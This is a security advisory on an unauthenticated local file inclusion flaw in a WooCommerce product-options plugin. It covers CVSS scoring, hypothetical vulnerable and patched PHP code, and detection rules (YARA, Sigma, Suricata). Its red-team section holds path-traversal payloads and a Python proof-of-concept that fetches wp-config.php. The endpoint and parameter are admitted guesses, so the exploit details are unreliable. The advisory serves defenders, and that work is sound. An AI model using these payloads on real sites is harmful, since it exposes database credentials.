CVE-2025-60248

Executive Summary

CVE-2025-60248 is a critical security vulnerability affecting the WPC Product Options for WooCommerce WordPress plugin by Wpclever, up to and including version 3.1.3. The vulnerability is classified as a PHP Local File Inclusion (LFI) due to improper control of filename for include/require statements. This allows an unauthenticated attacker to include arbitrary local files from the server, potentially leading to sensitive information disclosure, such as configuration files, database credentials, or source code. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched, posing a significant risk to WooCommerce stores using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem, targeting the WPC Product Options for WooCommerce plugin. As a WordPress plugin, it is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. The supply chain risk is elevated because the plugin is widely used for customizing WooCommerce product options, and the vulnerability allows unauthenticated file inclusion. Users are advised to monitor the plugin's update channel for a patched version and consider disabling the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Sensitive files can be read.
• Integrity Impact: None (I:N) – No file modification is possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is easy to exploit and can lead to full disclosure of sensitive server files, including wp-config.php which contains database credentials.

Deep Dive & Mechanics

The vulnerability resides in the PHP include/require statement handling within the plugin. The plugin likely uses a dynamic file inclusion mechanism where user-supplied input (e.g., via a GET or POST parameter) is used to construct a file path for inclusion. Due to insufficient sanitization, an attacker can inject path traversal sequences (e.g., ../../) to include arbitrary files from the server.

Root Cause: The plugin fails to validate or sanitize the filename parameter before passing it to functions like include(), require(), include_once(), or require_once(). This allows an attacker to specify a file path outside the intended directory.

Exploitation Scenario: An attacker sends a crafted HTTP request to a vulnerable endpoint, such as:

http://target.com/wp-content/plugins/wpc-product-options/some-file.php?file=../../../../wp-config.php

If the plugin includes the file based on the file parameter, the attacker can read the contents of wp-config.php.

Impact: Successful exploitation leads to:

• Disclosure of database credentials (username, password, host).
• Disclosure of authentication keys and salts.
• Disclosure of server configuration files (e.g., /etc/passwd).
• Potential for further attacks (e.g., lateral movement, privilege escalation).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is hypothesized based on common LFI vulnerabilities in WordPress plugins.

Vulnerable Code (Hypothetical):

<?php
// vulnerable.php
$file = $_GET['file'];
include($file . '.php');
?>

Patched Code (Hypothetical):

<?php
// patched.php
$allowed_files = array('options1', 'options2', 'options3');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include($file . '.php');
} else {
    // Handle error
}
?>

Explanation: The patched version uses a whitelist of allowed files, preventing arbitrary file inclusion. Alternatively, proper path validation and sanitization (e.g., realpath(), basename()) should be implemented.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress installation with WPC Product Options for WooCommerce plugin version <= 3.1.3.
• Knowledge of the vulnerable endpoint (e.g., /wp-content/plugins/wpc-product-options/ajax.php).

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., file, template, include).
2. Craft a request to include a sensitive file:

   GET /wp-content/plugins/wpc-product-options/ajax.php?file=../../../../wp-config HTTP/1.1
   Host: target.com
   

3. If successful, the response will contain the contents of wp-config.php.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target.com/wp-content/plugins/wpc-product-options/ajax.php"
payload = {"file": "../../../../wp-config"}
response = requests.get(target, params=payload)
if "DB_NAME" in response.text:
    print("[+] Vulnerability confirmed!")
    print(response.text)
else:
    print("[-] Exploit failed.")

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious GET requests containing path traversal sequences (e.g., ../, ..\\).
• Look for requests to plugin files with unexpected parameters.

Mitigation:

• Disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Restrict file inclusion to a whitelist of allowed files.

Hunting:

• Search for log entries with patterns like file=..%2f..%2f..%2f..%2fwp-config.
• Use the Sigma rule provided in Detection Engineering to identify exploitation attempts.

Indicators of Compromise (IOCs)

• File Paths: /wp-content/plugins/wpc-product-options/ (any file within this directory)
• URL Patterns: ?file=../../../../wp-config or similar path traversal sequences
• Log Entries: HTTP requests with file parameter containing ../ or ..%2f
• Response Content: Inclusion of sensitive files like wp-config.php in HTTP responses

Detection Engineering

YARA Rule

rule CVE_2025_60248_LFI_Detection {
    meta:
        description = "Detects attempts to exploit CVE-2025-60248 in WPC Product Options for WooCommerce"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60248"
    strings:
        $path_traversal = /file=[^&]*\.\.\// nocase
        $plugin_path = /wp-content\/plugins\/wpc-product-options\// nocase
    condition:
        $plugin_path and $path_traversal
}

Sigma Rule

title: CVE-2025-60248 LFI Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit Local File Inclusion in WPC Product Options for WooCommerce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'file=..%2f'
            - 'file=../'
            - 'file=..\\'
        cs-uri-stem|contains: '/wp-content/plugins/wpc-product-options/'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-60248 LFI Exploitation Attempt";
    flow:to_server,established;
    content:"/wp-content/plugins/wpc-product-options/"; http_uri;
    content:"file="; http_uri;
    pcre:"/file=[^&]*\.\.\//i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Implement a WAF rule to block requests containing path traversal patterns in the file parameter.
3. Review server logs for any signs of exploitation.

Long-term Fix:

• The vendor (Wpclever) must release a patched version that properly sanitizes file paths, ideally using a whitelist approach.
• Users should update to the latest version once available.

Workaround:

• If the plugin cannot be disabled, modify the plugin code to add input validation (e.g., using basename() and realpath() to restrict file inclusion to a specific directory).

Valters IT
Securing Digital Frontiers